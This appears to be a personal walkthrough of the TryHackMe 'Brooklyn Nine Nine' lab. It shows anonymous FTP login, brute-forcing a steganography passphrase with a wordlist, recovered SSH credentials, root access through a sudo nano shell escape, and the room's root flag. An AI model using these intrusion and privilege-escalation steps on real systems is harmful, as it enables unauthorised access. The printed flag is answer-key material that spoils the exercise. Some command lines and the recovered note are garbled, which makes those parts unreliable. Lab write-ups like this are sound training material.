Brooklyn Nine Nine (THM)

ip of the machine :- 10.10.6.101

machine is on!!!

found some open ports.

it showed that all are filtered....

```
(sohamt € CyberCreedPC)-[~]

$ ftp 10.10.6.101

Connected to 10.10.6.101.

220 (vsFTPd 3.0.3)

Name (10.10.6.101:sohamt): anonymous

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> ■
```

tried to login using ftp default creds. for anonymous login and it worked.

found a text file and downloaded it.

```
(sohamt@CyberCreedPC)-[~]
$ cat note_to_jake.txt
From Amy,

Created by

Amount your password. It is too weak and holt will be mad if someone hacks into the nine nine one can deploy in the room (without ben
```

so jake is using a weak pass... Hmm!!!





This example creates a full page background image. Try to resize the browser window to see how it always will cover the full screen (when scrolled to top), and that it scales nicely on all screen sizes.

went to website to check the src code first.

```
This example creates a full page background image. T
<!-- Have you ever heard of steganography? -->
</body>
</html>
```

Found this line in src. code which means we have to use steganography.

```
(sohamt® CyberCreedPC)-[~/Downloads]
$ steghide --extract -sf brooklyn99.jpg
Enter passphrase:
steghide: can not uncompress data. compressed data is corrupted.
```

Don't have any passphrase.....Hmmm!!!!

```
(sohamt® CyberCreedPC)-[~/Downloads]
$ stegCracker brooklyn99.jpg /usr/share/wordlists/rockyou.txt
StegCracker 2.1.0 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2024 - Luke Paris (Paradoxis)

StegCracker has been retired following the release of StegSeek, which
will blast through the rockyou.txt wordlist within 1.9 second as opposed
to StegCracker which takes ~5 hours.

StegSeek can be found at: https://github.com/RickdeJager/stegseek

Counting lines in wordlist..
Attacking file 'brooklyn99.jpg' with wordlist '/usr/share/wordlists/rockyou.txt'..
Successfully cracked file with password: admin
Tried 20587 passwords
Your file has been written to: brooklyn99.jpg.out
admin
```

So there is a tool in repository of kali which is stegcracker which can brute force passphrase and can also extract the hidden files which is brooklyn99.jpg.out in this case.

```
(sohamt Cyber Creed PC)-[~/Downloads]
$ cat brooklyn99.jpg.out
Holts Password:
fluffydog 12 ∂ninenine
Enjoy!!
```

woo!!! found some creds.. probably for ssh.

was able to login with id and password and got first flag....

user can only run nano.... Let's go to GTFObins.

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo nano
^R^X
reset; sh 1>&0 2>&0
```

will be using this way to get the root and last flag further.

```
Command to execute: reset; sh 1>60 2>60#

# Get Help

# Cancel

# id

uid=0(root) gid=0(root) groups=0(root)

# cat /root/root.txt

-- Creator: Fsociety2006 --

Congratulations in rooting Brooklyn Nine Nine

Here is the flag: 63a9f0ea7bb98050796b649e85481845

Enjoy!!

#
```

First type "sudo nano" then after entering nano text editor press "ctrl+r" and then "ctrl+x" to enter any command and ten add the payload and you will get the root shell and got the root flag....